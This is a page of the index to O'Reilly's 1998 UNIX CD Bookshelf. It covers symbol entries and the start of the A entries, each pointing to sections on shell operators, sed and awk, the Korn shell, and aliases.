^= (assignment) operator
UNIX Power Tools, 47.4.3.1. Assignment Operators
sed & awk, 7.6. Expressions
C shell operator : UNIX Power Tools, 47.4.3.3. Bitwise and Logical Operators
character classes and
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.4.2. Excluding a class of characters
for control characters : (see character classes/keys)
exponentiation operator : sed & awk, 7.6. Expressions
metacharacter
Learning the Korn Shell, 2.3.4. Moving Around in the History File
Learning the Korn Shell, 10.1. Installing the Korn Shell as the Standard Shell
UNIX Power Tools, 15.2. Filename Wildcards in a Nutshell
UNIX Power Tools, 26.4.1. The Anchor Characters: ^ and $
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.7. Positional Metacharacters
within [ ] metacharacters : UNIX Power Tools, 26.4.5. Exceptions in a Character Set
in multiline pattern space : sed & awk, 6.1.1. Append Next Line
pipe character in Bourne shell
Learning the Korn Shell, 10.1. Installing the Korn Shell as the Standard Shell
Learning the Korn Shell, A.1. The Bourne Shell
: (colon)
:+ string operator
Learning the Korn Shell, 4.3.1. Syntax of String Operators
Learning the Korn Shell, 5.2. for
:- string operator
Learning the Korn Shell, 4.3.1. Syntax of String Operators
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
Learning the Korn Shell, 9.2.3.4. Break conditions
:= string operator : Learning the Korn Shell, 4.3.1. Syntax of String Operators
:? string operator
Learning the Korn Shell, 4.3.1. Syntax of String Operators
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
:p operator : UNIX Power Tools, 11.10. Check Your History First with :p
alternative to # : UNIX Power Tools, 45.9. The Unappreciated Bourne Shell ":" Operator
colon-separated lists : UNIX Power Tools, 4.10. Find All Command Versions with whereiz
comment character
UNIX Power Tools, 45.2. The Story of : # #!
UNIX Power Tools, 45.9. The Unappreciated Bourne Shell ":" Operator
csh command : UNIX in a Nutshell, Chapter 5, Reference: :
examples : UNIX Power Tools, 44.18. Standard Command-Line Parsing
ksh command : UNIX in a Nutshell, Chapter 4, Reference: :
for labels : sed & awk, 6.4. Advanced Flow Control Commands
as logical operator for expr
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 45.28.1. Examples
loops using : UNIX Power Tools, 45.9. The Unappreciated Bourne Shell ":" Operator
no-op command : Learning the Korn Shell, 8.4. trap
as null character : UNIX Power Tools, 44.8. Test Exit Status with the if Statement
as parameter substitute
UNIX Power Tools, 45.9. The Unappreciated Bourne Shell ":" Operator
UNIX Power Tools, 45.12. Parameter Substitution
sed command : UNIX in a Nutshell, Chapter 10, Reference: :
separating fields
UNIX Power Tools, 1.9. Which Shell Am I Running?
UNIX Power Tools, 5.6. Checklist: Terminal Hangs When I Log In
separating values : UNIX Power Tools, 5.3. Setting the Terminal Type When You Log In
sh command : UNIX in a Nutshell, Chapter 4, Reference: :
string editing operator : UNIX Power Tools, 9.6. String Editing (Colon) Operators
trap used with : UNIX Power Tools, 45.8. Handling Signals to Child Processes
, (comma) in filenames : UNIX Power Tools, 1.15. Filenames
$ (dollar sign)
. (dot)
. command : UNIX Power Tools, 44.23. Reading Files with the . and source Commands
.. for parent directory
Learning the Korn Shell, 1.6.1.3. Changing working directories
Learning the UNIX Operating System, 3.1.5.2. Relative pathnames up
Learning the UNIX Operating System, 3.1.8.1. ls
Learning the UNIX Operating System, 4.4.2.1. cp
UNIX Power Tools, 18.4.2. Links to a Directory
for current directory
Learning the Korn Shell, 1.6.1.3. Changing working directories
Learning the UNIX Operating System, 3.1.8.1. ls
Learning the UNIX Operating System, 4.4.2.1. cp
UNIX Power Tools, 18.4.2. Links to a Directory
in filenames
Learning the Korn Shell, 1.6.2. Filenames and Wildcards
Learning the UNIX Operating System, 4.2. File and Directory Names
UNIX Power Tools, 1.15. Filenames
UNIX Power Tools, 1.16. Wildcards
(see also dot files)
in pathnames : UNIX Power Tools, 1.21. Making Pathnames
regular expression metacharacter
UNIX Power Tools, 26.3. Understanding Expressions
UNIX Power Tools, 26.4.3. Match any Character with . (Dot)
sed & awk, 3.1. That's an Expression
sed & awk, 3.2.2. A Wildcard
sed & awk, 3.2.5. Repeated Occurrences of a Character
to run a script : Learning the Korn Shell, 4.1. Shell Scripts and Functions
terms for : UNIX Power Tools, 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
= (equal sign)
== (equal to) operator
UNIX Power Tools, 47.4.3.4. Comparison Operators
sed & awk, 7.8. Relational and Boolean Operators
=~ C shell operator : UNIX Power Tools, 47.4.3.4. Comparison Operators
for alias definitions : UNIX Power Tools, 10.4. Aliases in ksh and bash
arithmetic operator for expr : UNIX Power Tools, 45.28.1. Examples
C shell operator : UNIX Power Tools, 47.4.3.1. Assignment Operators
ex command : UNIX in a Nutshell, Chapter 9, Reference: =
for printing line numbers : sed & awk, 5.9. Print Line Number
relational operator for expr
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 45.28.1. Examples
sed command : UNIX in a Nutshell, Chapter 10, Reference: =
# (hash mark)
: (colon) used in place of : UNIX Power Tools, 45.9. The Unappreciated Bourne Shell ":" Operator
#! notation
UNIX Power Tools, 8.17. verbose and echo Variables Show Quoting
UNIX Power Tools, 45.2. The Story of : # #!
UNIX Power Tools, 45.4. Fun with #!
UNIX in a Nutshell, Chapter 4, Reference: #!shell
UNIX in a Nutshell, Chapter 5, Reference: #!
Bourne shell scripts using
UNIX Power Tools, 44.2. Writing a Simple Shell Program
UNIX Power Tools, 44.4. Testing How Your System Executes Files
character limit : UNIX Power Tools, 45.4. Fun with #!
examples
UNIX Power Tools, 45.3. Don't Need a Shell for Your Script? Don't Use One
UNIX Power Tools, 45.4. Fun with #!
executing files without showing : UNIX Power Tools, 45.5. A File That Shows Itself... and What #! Does
invoking awk
sed & awk, 10.9. Invoking awk Using the #! Syntax
sed & awk, B.1.1. Shell Wrapper for Invoking awk
making programs executable : UNIX Power Tools, 45.4. Fun with #!
## pattern-matching operator
Learning the Korn Shell, 4.3.3. Pattern-matching Operators
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
#n for suppressing output : sed & awk, 5.2. Comment
alternatives to : UNIX Power Tools, 45.9. The Unappreciated Bourne Shell ":" Operator
built-in variable : Learning the Korn Shell, 4.2.1. Positional Parameters
for comments
Learning the Korn Shell, 4.3.1. Syntax of String Operators
UNIX Power Tools, 10.2.1. Simple Aliases
sed & awk, 5.2. Comment
sed & awk, 7.4.1. Describing Your Script
sed & awk, B.2.2.2. Comments
in crontab entries : UNIX Power Tools, 40.12.1. Execution Scheduling
csh command
UNIX in a Nutshell, Chapter 5, Reference: #
UNIX in a Nutshell, Chapter 5, Reference: #!
ksh command
UNIX in a Nutshell, Chapter 4, Reference: #
UNIX in a Nutshell, Chapter 4, Reference: #!shell
length operator : Learning the Korn Shell, 4.3.4. Length Operator
pattern-matching operator
Learning the Korn Shell, 4.3.3. Pattern-matching Operators
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
Learning the Korn Shell, 5.5. while and until
sh command
UNIX in a Nutshell, Chapter 4, Reference: #
UNIX in a Nutshell, Chapter 4, Reference: #!shell
shell script comments : UNIX Power Tools, 45.2. The Story of : # #!
size of an array : Learning the Korn Shell, 6.3. Arrays
- (hyphen)
-= (assignment) operator
UNIX Power Tools, 47.4.3.1. Assignment Operators
sed & awk, 7.6. Expressions
-- (decrement) operator : sed & awk, 7.6. Expressions
-- (two dashes) as argument to set command : UNIX Power Tools, 44.19. The Bourne Shell set Command
character classes and : sed & awk, 3.2.4.1. A range of characters
for command-line options
Learning the UNIX Operating System, 1.2. Syntax of UNIX Command Lines
UNIX Power Tools, 44.16. Handling Command-Line Arguments with a for Loop
UNIX Power Tools, 44.17. Handling Arguments with while and shift
UNIX Power Tools, 44.18. Standard Command-Line Parsing
filenames starting with : UNIX Power Tools, 23.14. Handling a Filename Starting with a Dash (-)
with << operator : UNIX Power Tools, 8.18. Here Documents
in login shell : UNIX Power Tools, 2.16. Approved Shells: Using Unapproved Login Shell
precedence in C shell : UNIX Power Tools, 47.4.2. Expressions
for stdin (on command line) : UNIX Power Tools, 13.13. The "Filename" -
subtraction operator
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 47.4.3.2. Arithmetic Operators
sed & awk, 7.6. Expressions
< (left angle bracket)
<= relational operator
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 47.4.3.3. Bitwise and Logical Operators
UNIX Power Tools, 47.4.3.4. Comparison Operators
sed & awk, 7.8. Relational and Boolean Operators
<< operator
UNIX Power Tools, 8.18. Here Documents
UNIX Power Tools, 19.2. Introduction to Shell Archives
<<- operator
UNIX Power Tools, 8.18. Here Documents
UNIX Power Tools, 9.14. Using Here Documents for Form Letters, etc.
/< /> metacharacters : UNIX Power Tools, 26.4.11. Extended Regular Expressions
\< \> metacharacters : UNIX Power Tools, 26.4.8. Matching Words with \ < and \ >
C shell operator : UNIX Power Tools, 47.4.3.4. Comparison Operators
ex command : UNIX in a Nutshell, Chapter 9, Reference: < >
examples : UNIX Power Tools, 48.4.3. Automating Your Own Calendar
input redirection operator
Learning the Korn Shell, 1.7.2. I/O Redirection
Learning the UNIX Operating System, 5.1. Standard Input and Standard Output
precedence in C shell : UNIX Power Tools, 47.4.2. Expressions
relational operator for expr : UNIX Power Tools, 45.28. Quick Reference: expr
( ) (parentheses)
sed & awk, 2.2.1. Scripting
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.10. Grouping Operations
\( \) metacharacters : UNIX Power Tools, 26.4.9. Remembering Patterns with \ (, \ ), and \1
(( )) : (see condition tests, arithmetic)
commands printed in : UNIX Power Tools, 38.7. Why ps Prints Some Commands in Parentheses
in extended regular expressions
UNIX Power Tools, 26.4.11. Extended Regular Expressions
UNIX Power Tools, 47.4.2. Expressions
sed & awk, 5.3.1. Replacement Metacharacters
grouping condition tests : Learning the Korn Shell, 5.1.3.3. File Attribute Checking
grouping expressions using : UNIX Power Tools, 47.5. Using C Shell Arrays
as operators : UNIX Power Tools, 2.2. Shell Setup Files-Which, Where, and Why
subshell operators
Learning the Korn Shell, 5.1.3.3. File Attribute Checking
Learning the Korn Shell, 8.6.2. Nested Subshells
UNIX Power Tools, 13.7. The () Subshell Operators
within arithmetic expressions : Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
% (percent sign)
%= (assignment) operator
UNIX Power Tools, 47.4.3.1. Assignment Operators
sed & awk, 7.6. Expressions
%% pattern-matching operator
Learning the Korn Shell, 4.3.3. Pattern-matching Operators
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
Learning the Korn Shell, 5.5. while and until
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
arithmetic operator
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 47.4.3.2. Arithmetic Operators
C shell prompt : UNIX Power Tools, 7.1. Why Change Your Prompt?
format specifications : sed & awk, 7.9. Formatted Printing
job numbers
Learning the Korn Shell, 8.2.1. Foreground and Background
Learning the Korn Shell, 8.3.2. kill
Learning the Korn Shell, A.1. The Bourne Shell
UNIX Power Tools, 12.1.1. Foreground and Background
UNIX Power Tools, 12.3. The "Current Job" Isn't Always What You Expect
modulo operator : sed & awk, 7.6. Expressions
pattern-matching operator
Learning the Korn Shell, 4.3.3. Pattern-matching Operators
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 5.3. case
precedence in C shell : UNIX Power Tools, 47.4.2. Expressions
+ (plus sign)
+= (assignment) operator
UNIX Power Tools, 47.4.3.1. Assignment Operators
sed & awk, 7.6. Expressions
++ (increment) operator : sed & awk, 7.6. Expressions
addition operator
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 45.28.1. Examples
UNIX Power Tools, 47.4.3.2. Arithmetic Operators
sed & awk, 7.6. Expressions
in job reports : UNIX Power Tools, 12.1.1. Foreground and Background
precedence in C shell : UNIX Power Tools, 47.4.2. Expressions
regular expression metacharacter
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
UNIX Power Tools, 26.4.11. Extended Regular Expressions
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.5. Repeated Occurrences of a Character
sed & awk, 7.4. Pattern Matching
? (question mark)
?*) wildcard : UNIX Power Tools, 44.6. Pattern Matching in case Statements
?: (conditional) operator
sed & awk, 8.1.1. Conditional Operator
sed & awk, 11.1.3. The C Conditional Expression
?) wildcard : UNIX Power Tools, 44.6. Pattern Matching in case Statements
built-in variable
Learning the Korn Shell, 5.1.1. Exit Status and Return
Learning the Korn Shell, 9.1.2.2. ERR
Learning the Korn Shell, 9.2.5. Exercises
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 44.7. Exit Status of UNIX Processes
metacharacter (regular expression operator)
Learning the Korn Shell, 1.6.2. Filenames and Wildcards
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
Learning the UNIX Operating System, 4.3. File and Directory Wildcards
UNIX Power Tools, 1.16. Wildcards
UNIX Power Tools, 15.2. Filename Wildcards in a Nutshell
UNIX Power Tools, 26.4.11. Extended Regular Expressions
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.5. Repeated Occurrences of a Character
fast find and : UNIX Power Tools, 17.18. Using "Fast find"
foreach loop and : UNIX Power Tools, 9.11. Repeating a Command with a foreach Loop
in C shells : UNIX Power Tools, 47.5. Using C Shell Arrays
' (quotes, single) : UNIX Power Tools, 8.14.3. Single Quotes Inside Single Quotes?
around PS1 string : UNIX Power Tools, 7.8. Highlighting in Shell Prompts
with bash pre-prompt commands : UNIX Power Tools, 7.13. Pre-Prompt Commands in bash
passing wildcards to programs : UNIX Power Tools, 1.18. Who Handles Wildcards?
prompt setting and : UNIX Power Tools, 7.4. Faster Prompt Setting with Built-Ins
protecting special characters : UNIX Power Tools, 10.3. C Shell Aliases with Command-Line Arguments
quoting and
UNIX Power Tools, 8.14.2. How Quoting Works
UNIX Power Tools, 8.15. Differences Between Bourne and C Shell Quoting
sc program using : UNIX Power Tools, 49.8. It's Great to Have a Spreadsheet
" (quotes, double)
Learning the Korn Shell, 3.4.1. Variables and Quoting
sed & awk, 2.2. Command-Line Syntax
sed & awk, 2.3.1. Specifying Simple Instructions
aliases in : UNIX Power Tools, 10.2.2. Using More Complex Aliases
for comments : UNIX Power Tools, 4.9. Setting Up vi with the .exrc File
passing wildcards to programs : UNIX Power Tools, 1.18. Who Handles Wildcards?
prompt setting : UNIX Power Tools, 7.8. Highlighting in Shell Prompts
quoting and
UNIX Power Tools, 8.14.2. How Quoting Works
UNIX Power Tools, 8.15. Differences Between Bourne and C Shell Quoting
sc program using : UNIX Power Tools, 49.8. It's Great to Have a Spreadsheet
in sed scripts : UNIX Power Tools, 51.6. Cleaning script Files
terms for : UNIX Power Tools, 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
> (right angle bracket)
>& operator : UNIX Power Tools, 13.5. Redirection in C Shell: Capture Errors, Too?
>= comparison operator
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 45.28.1. Examples
UNIX Power Tools, 47.4.3.4. Comparison Operators
sed & awk, 7.8. Relational and Boolean Operators
>> shell operator
UNIX Power Tools, 45.22. Handling Files Line-by-Line
UNIX Power Tools, 47.4.3.3. Bitwise and Logical Operators
with for loop : UNIX Power Tools, 9.12. The Bourne Shell for Loop
output redirection operator
Learning the Korn Shell, 1.7.2. I/O Redirection
Learning the UNIX Operating System, 5.1. Standard Input and Standard Output
Learning the UNIX Operating System, 5.1.1.1. The > operator
Learning the UNIX Operating System, 5.1.1.2. The >> operator
UNIX Power Tools, 6.9. Special C Shell Variables
sed & awk, 2.3.2.1. Saving output
sed & awk, 4.3. Testing and Saving Output
sed & awk, 10.5. Directing Output to Files and Pipes
precedence in C shell : UNIX Power Tools, 47.4.2. Expressions
relational operator
UNIX Power Tools, 45.28. Quick Reference: expr
sed & awk, 7.8. Relational and Boolean Operators
; (semicolon)
;; in case statement : Learning the Korn Shell, 5.4. select
statement separator
Learning the Korn Shell, 3.2. Aliases
Learning the Korn Shell, 5.1.3.1. String comparisons
Learning the Korn Shell, 9.2.5. Exercises
Learning the Korn Shell, A.6. Workalikes on PC Platforms
Learning the UNIX Operating System, 1.2. Syntax of UNIX Command Lines
UNIX Power Tools, 8.5. Command-Line Evaluation
UNIX Power Tools, 44.12. Trapping Exits Caused by Interrupts
sed & awk, 2.3.1. Specifying Simple Instructions
sed & awk, 2.4.1. Running awk
sed & awk, B.2.2.1. Line termination
/ (slash)
/*/ wildcard : UNIX Power Tools, 44.6. Pattern Matching in case Statements
/{ /} metacharacters : UNIX Power Tools, 26.4.11. Extended Regular Expressions
/= assignment operator
UNIX Power Tools, 47.4.3.1. Assignment Operators
sed & awk, 7.6. Expressions
/< /> metacharacters : UNIX Power Tools, 26.4.11. Extended Regular Expressions
// as delimiter
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 5.3. Substitution
arithmetic operator for expr
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 45.28.1. Examples
UNIX Power Tools, 47.4.3.2. Arithmetic Operators
sed & awk, 7.6. Expressions
division operator : sed & awk, 7.6. Expressions
in ed commands : sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
fast find and : UNIX Power Tools, 17.18. Using "Fast find"
in filenames
UNIX Power Tools, 1.15. Filenames
UNIX Power Tools, 1.16. Wildcards
in pathnames
Learning the UNIX Operating System, 3.1.4. Absolute Pathnames
UNIX Power Tools, 1.21. Making Pathnames
UNIX Power Tools, 14.2. Using Relative and Absolute Pathnames
pattern addressing
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, A.2.1. Pattern Addressing
precedence in C shell : UNIX Power Tools, 47.4.2. Expressions
for root directory
Learning the UNIX Operating System, 3.1.3. The Directory Tree
Learning the UNIX Operating System, 3.1.4. Absolute Pathnames
UNIX Power Tools, 1.19. The Tree Structure of the Filesystem
terms for : UNIX Power Tools, 51.8. Type Bang Splat. Don't Forget the Rabbit Ears
~ (tilde)
Learning the Korn Shell, 1.6.1.2. Tilde notation
Learning the Korn Shell, 7.3. Command-line Processing
Learning the Korn Shell, 7.3.1. Quoting
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
sed & awk, 7.5.1. Referencing and Separating Fields
sed & awk, 7.8. Relational and Boolean Operators
~+ (current directory) : Learning the Korn Shell, 7.3. Command-line Processing
~- (previous directory) : Learning the Korn Shell, 7.3. Command-line Processing
C shell operator : UNIX Power Tools, 47.4.3.3. Bitwise and Logical Operators
ending filenames : UNIX Power Tools, 14.11. Finding (Anyone's) Home Directory, Quickly
ex command : UNIX in a Nutshell, Chapter 9, Reference: ~
ending filenames
UNIX Power Tools, 14.11. Finding (Anyone's) Home Directory, Quickly
UNIX Power Tools, 17.18. Using "Fast find"
for home directory
UNIX Power Tools, 7.11. dirs in Your Prompt: Better than $cwd
UNIX Power Tools, 14.11. Finding (Anyone's) Home Directory, Quickly
match operator
sed & awk, 7.5.1. Referencing and Separating Fields
sed & awk, 7.8. Relational and Boolean Operators
in pathnames : UNIX Power Tools, 1.21. Making Pathnames
in public domain Korn shell : Learning the Korn Shell, A.4. pdksh
within double quotes : Learning the Korn Shell, 3.4.1. Variables and Quoting
within variable expressions : Learning the Korn Shell, A.7. The Future of the Korn Shell
~ (tilde) notation
Learning the Korn Shell, 1.6.1.2. Tilde notation
Learning the Korn Shell, 7.3. Command-line Processing
Learning the Korn Shell, 7.3.1. Quoting
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
_ (underscore) in filenames : UNIX Power Tools, 1.15. Filenames
| (vertical bar)
|&, background job with two-way pipes
Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
Learning the Korn Shell, 8.5.5. Two-way Pipes Versus Standard Pipes
UNIX Power Tools, 13.3. Send (only) Standard Error Down a Pipe
UNIX Power Tools, 13.5. Redirection in C Shell: Capture Errors, Too?
|= operator : UNIX Power Tools, 47.4.3.1. Assignment Operators
|| for condition tests
Learning the Korn Shell, 5.1.3.3. File Attribute Checking
Learning the Korn Shell, A.1. The Bourne Shell
UNIX Power Tools, 47.4.3.3. Bitwise and Logical Operators
sed & awk, 7.8. Relational and Boolean Operators
|| for exit statuses
Learning the Korn Shell, 5.1.2. Combinations of Exit Statuses
Learning the Korn Shell, 9.2.3.3. Breakpoints
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
UNIX Power Tools, 26.4.11. Extended Regular Expressions
UNIX Power Tools, 44.7. Exit Status of UNIX Processes
UNIX Power Tools, 44.8. Test Exit Status with the if Statement
UNIX Power Tools, 44.9. Testing Your Success
UNIX Power Tools, 44.18. Standard Command-Line Parsing
UNIX Power Tools, 45.6. Making Sure Your Script Runs with Bourne Shell, Without #!
UNIX Power Tools, 46.6. Watch Out for Bourne Shell -e Bug
(see also pipes)
case pattern separator : Learning the Korn Shell, 5.3. case
I/O redirection (piping)
Learning the Korn Shell, 1.7.3. Pipelines
Learning the Korn Shell, 10.1. Installing the Korn Shell as the Standard Shell
Learning the Korn Shell, A.1. The Bourne Shell
Learning the UNIX Operating System, 5.1. Standard Input and Standard Output
logical operator
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 47.4.3.3. Bitwise and Logical Operators
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.9. Alternative Operations
pipes
UNIX Power Tools, 1.3. Programs Are Designed to Work Together
UNIX Power Tools, 13.3. Send (only) Standard Error Down a Pipe
sed & awk, 10.5.1. Directing Output to a Pipe
noclobber variable and
Learning the Korn Shell, 3.3. Options
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 10.2.3. Types of Global Customization
Learning the UNIX Operating System, 5.1.1.1. The > operator
UNIX Power Tools, 6.8. Shell Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 13.6. Safe I/O Redirection with noclobber
UNIX Power Tools, 23.7. Safer File Deletion in Some Directories
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
precedence in C shell : UNIX Power Tools, 47.4.2. Expressions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: A

a command (sed)
sed & awk, 5.5. Append, Insert, and Change
UNIX in a Nutshell, Chapter 10, Reference: a
.a filename extension : UNIX Power Tools, 1.17. Filename Extensions
a.out
Learning the Korn Shell, 5.1.3.2. About C Compilers
Learning the Korn Shell, 6.1.3.1. More About C Compilers
A/UX : Learning the Korn Shell, 1. Korn Shell Basics
abbrev command (ex) : UNIX in a Nutshell, Chapter 9, Reference: abbrev
abbreviations
Emacs editor
UNIX Power Tools, 32.11. Using Word Abbreviation Mode
UNIX in a Nutshell, 7.2.8. Word Abbreviation Commands
in pathnames : UNIX Power Tools, 1.21. Making Pathnames
vi and ex editors
Learning the vi Editor, 7.3.1. Word Abbreviation
Learning the vi Editor, 7.3.3. Protecting Keys from Interpretation by ex
UNIX Power Tools, 30.31. vi Word Abbreviation
UNIX Power Tools, 31.9. Good Stuff for Your .exrc File
UNIX in a Nutshell, Chapter 9, Reference: abbrev
abort statement (tawk) : sed & awk, 11.3.2.1. Tawk language extensions
aborted programs
clearing terminal settings : UNIX in a Nutshell, Chapter 2, Reference: reset
debugging resulting files : UNIX in a Nutshell, Chapter 2, Reference: sdb
absolute pathnames
Learning the UNIX Operating System, 3.1.4. Absolute Pathnames
UNIX Power Tools, 2.16. Approved Shells: Using Unapproved Login Shell
UNIX Power Tools, 14.2. Using Relative and Absolute Pathnames
UNIX Power Tools, 18.6. Stale Symbolic Links
archiving with : UNIX Power Tools, 19.6. GNU tar Sampler
in configuration files : UNIX Power Tools, 2.6. Use Absolute Pathnames in Shell Setup Files
getting : UNIX Power Tools, 4.10. Find All Command Versions with whereiz
on #include line : UNIX Power Tools, 52.8.2.7. Functions, Libraries, and Header Files
tar command and : UNIX Power Tools, 20.10. Avoid Absolute Paths with tar
access
modes for
Learning the UNIX Operating System, 3.1.8.1. ls
UNIX Power Tools, 4.8. Making Directories Made Easier
UNIX in a Nutshell, Chapter 2, Reference: chmod
permissions : (see permissions)
read-only : (see read-only files)
times
UNIX Power Tools, 16.5. The Three UNIX File Times
UNIX Power Tools, 21.5. What Good Is a File's Last Access Time?
accidental file deletion : (see deleting files)
accidental logouts : UNIX Power Tools, 3.5. Stop Accidental C Shell Logouts
account, customizing : Learning the UNIX Operating System, 3.6. Customizing Your Account
acronym processor (example) : sed & awk, 8.5. An Acronym Processor
active processes, reports on : UNIX in a Nutshell, Chapter 2, Reference: ps
Ada
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 4.3.1. Syntax of String Operators
adb debugger : Learning the Korn Shell, 9. Debugging Shell Programs
addition (+) operator
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 45.28.1. Examples
UNIX Power Tools, 47.4.3.2. Arithmetic Operators
sed & awk, 7.6. Expressions
address databases : UNIX Power Tools, 48.2. Online Phone and Address Lists
created using awk : UNIX Power Tools, 48.10. Working with Names and Addresses
index program for creating : UNIX Power Tools, 48.11. The index Database Program
addresses
for ex commands : UNIX in a Nutshell, 9.1.2. Addresses
line addresses
Learning the vi Editor, 5.2.1. Line Addresses
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 4.2. A Global Perspective on Addressing
sed & awk, 5.1. About the Syntax of sed Commands
by pattern
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, A.2.1. Pattern Addressing
printing with = : sed & awk, 5.9. Print Line Number
for sed commands : UNIX in a Nutshell, 10.3.1. Pattern Addressing
addup script
UNIX Power Tools, 29.6. Counting Lines, Words, and Characters: wc
UNIX Power Tools, 49.7. Total a Column with addup
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX Power Tools, 49.7. Total a Column with addup
adj script (example) : sed & awk, 13.5. adj - Adjust Lines for Text Files
ADM-3a terminal : Learning the Korn Shell, 2.4.4. Moving Around in the History File
admin command (SCCS)
UNIX in a Nutshell, 17.2.1. Creating an SCCS File
UNIX in a Nutshell, Chapter 17, Reference: admin
age_files script
UNIX Power Tools, 16.25. Listing Files by Age and Size
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
aggregate transfer rate : UNIX Power Tools, 39.12.3. The I/O Subsystem
agrep script
UNIX Power Tools, 27.8. glimpse and agrep
UNIX Power Tools, 27.9. New greps Are Much Faster
UNIX Power Tools, 27.14. Compound Searches
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
AIX
Learning the Korn Shell, 1. Korn Shell Basics
Learning the Korn Shell, 1.9.5. Control Keys
algebraic notation
Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
Learning the Korn Shell, 8.6.2. Nested Subshells
alias command
csh shell : UNIX in a Nutshell, Chapter 5, Reference: alias
dbx debugger : UNIX in a Nutshell, Chapter 20, Reference: alias
ksh and sh shells : UNIX in a Nutshell, Chapter 4, Reference: alias
output of, in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
aliases
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 2.3.7. Keyboard Shortcuts with Aliases
Learning the Korn Shell, 2.4.7. Miscellaneous Commands
Learning the Korn Shell, 3. Customizing Your Environment
Learning the Korn Shell, 3.2. Aliases
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, A.1. The Bourne Shell
UNIX Power Tools, 8.8. A Directory for Commands You Shouldn't Run
UNIX Power Tools, 10.2. Aliases for Common Commands
UNIX in a Nutshell, Chapter 4, Reference: alias
UNIX in a Nutshell, Chapter 4, Reference: unalias
UNIX in a Nutshell, Chapter 5, Reference: alias
arguments for : UNIX Power Tools, 10.3. C Shell Aliases with Command-Line Arguments
on arguments of command line : Learning the Korn Shell, 3.2. Aliases
for cd command
UNIX Power Tools, 7.6. Session Information in Your Terminal's Status Line
UNIX Power Tools, 14.8. Quick cds with Aliases
command file and : UNIX Power Tools, 2.5.2. A Second Alias and Command File
in .cshrc file : UNIX Power Tools, 10.2.3. Setting Aliases Automatically, Unsetting Aliases
defining : Learning the Korn Shell, 3.2. Aliases
email, displaying addresses for : UNIX in a Nutshell, Chapter 2, Reference: mailalias
examples : UNIX Power Tools, 44.21. Picking a Name for a New Command
inside the ($?prompt) test : UNIX Power Tools, 2.10. Gotchas in set prompt Test
lack of system-wide : Learning the Korn Shell, 10.2.3. Types of Global Customization
for ls command
UNIX Power Tools, 16.7. ls Shortcuts: ll, lf, lg, etc.
UNIX Power Tools, 16.12. Useful ls Aliases
order of precedence in command lookup
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 7.3. Command-line Processing
preventing lookup as : Learning the Korn Shell, 5.1.1. Exit Status and Return
for pushd command : UNIX Power Tools, 14.7. Nice Aliases for pushd
quoting : UNIX Power Tools, 10.3. C Shell Aliases with Command-Line Arguments
recursive
Learning the Korn Shell, 3.2. Aliases
Learning the Korn Shell, 7.3. Command-line Processing
UNIX Power Tools, 10.6. Avoiding C Shell Alias Loops
